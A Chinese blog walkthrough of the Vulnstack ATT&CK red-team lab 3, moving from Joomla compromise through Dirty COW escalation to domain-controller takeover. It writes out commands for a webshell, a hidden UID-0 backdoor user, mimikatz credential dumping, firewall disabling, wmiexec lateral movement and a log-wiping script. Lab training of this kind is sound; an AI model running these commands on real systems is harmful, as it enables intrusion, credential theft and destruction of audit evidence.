ATT&CK实战系列—红队实战-3

0、靶场介绍

​ATT&CK实战系列—红队实战(三)是红日安全团队出品的一个实战环境,该靶场模拟真实环境,是个黑盒测试,不提供虚拟机密码。目标是域控中存在一份重要文件。拓扑图如下:
在这里插入图片描述
靶场配置如下:
在这里插入图片描述

靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

1、信息收集

  • 指纹信息

在这里插入图片描述

  • 端口服务

在这里插入图片描述在这里插入图片描述

  • 目录信息
    在这里插入图片描述
  • 信息汇总
    在这里插入图片描述

2、漏洞分析

2.1 漏洞挖掘

​漏洞挖掘点:端口爆破、后台爆破、joomla 3.9.12 CMS版本漏洞
1、爆破ssh 、mysql 服务端口
在这里插入图片描述
2、爆破joomla 后台账号密码:
使用爆破工具https://github.com/TheKingOfDuck/JoomlaCracker
或者使用:msf 爆破模块。

3、joomla 3.9.12 CMS漏洞(利用条件:需要账号密码)
(CVE-2020-10238)Joomla <= v3.9.15 远程命令执行漏洞
(CVE-2020-10239)Joomla < v3.9.15 远程命令执行漏洞
(CVE-2020-11890)Joomla < v3.9.15 远程命令执行漏洞
(CVE-2021-23132)Joomla后台代码执行漏洞 3.9.0<Joomla≤3.9.24

2.2 漏洞扫描

使用漏洞工具扫描 https://github.com/OWASP/joomscan
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

2.3 漏洞验证

通过爆破和信息泄露获取了mysql 的账号密码,验证是否可以登录
在这里插入图片描述在这里插入图片描述在这里插入图片描述
使用官方文档恢复或重置管理员密码。 添加一个账号:
在这里插入图片描述

MySQL [joomla]> INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
Query OK, 1 row affected (0.040 sec)

MySQL [joomla]> INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
Query OK, 1 row affected (0.038 sec)

在这里插入图片描述
创建后,登录成功:
在这里插入图片描述

3、漏洞利用

​3.1 Joomala Getshell

利用Joomla < v3.9.15 远程命令执行漏洞getshell
访问extensions-templates-templates-beez3,然后new file-新建文件test.php
在这里插入图片描述在这里插入图片描述
然后写入一句话:
在这里插入图片描述
使用蚁剑连接 http://192.168.1.138/templates/beez3/test.php
在这里插入图片描述

插件下载:https://github.com/AntSword-Store

在这里插入图片描述在这里插入图片描述

3.2 主机信息收集

1、获取内核,操作系统和设备信息
uname -a  打印所有可用的系统信息
cat /etc/*-release 发布信息
cat /proc/version 内核信息

2、用户和组
cat /etc/passwd       列出系统所有用户
cat /etc/group        列出系统所有组
cat /etc/shadow       列出所有用户hash(需要root权限)
finger、finger user   当前登录的用户、查询用户的基本信息

3、用户和权限信息
cat /etc/sudoers
可以使用sudo提升到root的用户(需要root权限)
sudo -l
列出目前用户可执行与无法执行的指令

4、环境信息
envset 打印系统环境信息
echo $PATH  环境变量中的路径信息
history  打印历史命令
cat /etc/profile  显示默认系统遍历
cat /etc/shells   显示可用的shell

5、有用的命令
find / -perm -4000 -type f         查找SUID的文件
find / -uid 0 -perm -4000 -type f  查找root权限的SUID文件
find / -perm -2 -type f            找出可写的文件
find / ! -path "/proc/" -perm -2 -type f -print    查找/proc以外的可写文件
find / -perm -2 -type d            找出可写目录

6、服务信息
ps aux                查看进程信息
cat /etc/inetd.conf   由inetd管理的服务列表
cat /etc/xinetd.conf  由xinetd管理的服务列表
cat /etc/exports      nfs服务器的配置

7、作业和任务
crontab -l -u %username%   显示指定用户的计划作业(需要root权限)
ls -la /etc/cron*   计划任务
top    列出当前进程

8、网络、路由和通信
/sbin/ifconfig -a             列出网络接口信息
cat /etc/network/interfaces   列出网络接口信息
arp -a               查看系统arp表
route                打印如有信息
netstat -an          打印本地端口开放信息
iptables -L          列出iptable的配置规则
cat /etc/services    查看端口服务映射

9、软件信息
dpkg -l  软件安装(Debian)
rpm -qa  软件安装(Red Hat)
sudo -V  查看sudo的版本信息

3.3 敏感信息收集

在这里插入图片描述在这里插入图片描述

4、权限提升

4.1 脏牛提权

在这里插入图片描述
将 dirty.c 上传到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件,执行 ./dirty password 提权。

exp 下载地址:
https://github.com/FireFart/dirtycow

gcc -pthread dirty.c -o dirty -lcrypt 
./dirty passwd

在这里插入图片描述在这里插入图片描述

5、权限维持

5.1 添加 root 后门

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld

在这里插入图片描述在这里插入图片描述

6、横向渗透

6.1 搭建 socks5 代理

  • 使用ssh 搭建一个socks5 代理
ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1
# ssh客户端监听127.0.0.1:7777开启socks服务,将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由ssh服务端转发到目标地址
构建ssh隧道的常用参数:

-C 压缩传输,提高传输速度
-f 后台执行数据传输
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发,即SOCKS代理
-p 指定ssh连接端口

在这里插入图片描述

  • 使用 chisel 搭建socks5
服务端:
./chisel_linux64 server -p 2080 --socks5

攻击端:
./chisel_linux64 client 192.168.1.138:2080 socks

6.2 内网主机探测

  • 使用PING 命令行
for k in $( seq 1 255);do ping -c 1 192.168.93.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

在这里插入图片描述

  • msf–smb_version
auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1/24
set threads 20

在这里插入图片描述在这里插入图片描述在这里插入图片描述

6.3 端口探测

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.10
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.20
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.30

在这里插入图片描述在这里插入图片描述在这里插入图片描述

6.4 漏洞扫描

  • ms17-010 、CVE-2019-0708 漏洞扫描 – 无漏洞

在这里插入图片描述

  • 弱口令爆破 – mssql 、smb

在这里插入图片描述在这里插入图片描述

6.5 域内横向–域成员

  • 使用爆破到的账号密码进行渗透

在这里插入图片描述

  • 使用 wmi 获取域成员主机权限
proxychains4 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
proxychains4 wmiexec.py 'administrator:123qwe!ASD@192.168.93.30'

在这里插入图片描述在这里插入图片描述

  • 上传 mimikatz 获取账号密码
proxychains4 smbclient //192.168.93.20/C$ -U administrator -P 123qwe!ASD

在这里插入图片描述

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

在这里插入图片描述在这里插入图片描述

  • 开启3389,关闭防火墙,登录域成员
#设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#检查端口状态
netstat -an|find "3389"

关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

6.6 域内横向–域控

proxychains4 wmiexec.py 'TEST.ORG/Administrator:zxcASDqw123!!@192.168.93.10'

在这里插入图片描述在这里插入图片描述

  • 开启3389,关闭防火墙
#设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

开启3389
Windows Server 2008 和 Windows Server 2012 中开启 3389 端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#检查端口状态
netstat -an|find "3389"

关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off

在这里插入图片描述

6.7 拿到 FLAG

在这里插入图片描述

7、痕迹清理

7.1 Linux

清除命令历史记录
histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0          #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令

:set history=0
:!command

linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:

删除当天日志
sed  -i '/当天日期/'d  filename

一键清除脚本:


#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

7.2 windows

有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

wevtutil:

wevtutil el             列出系统中所有日志名称
wevtutil cl system      清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security    清理安全日志

meterperter自带清除日志功能:
clearev     清除windows中的应用程序日志、系统日志、安全日志

清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值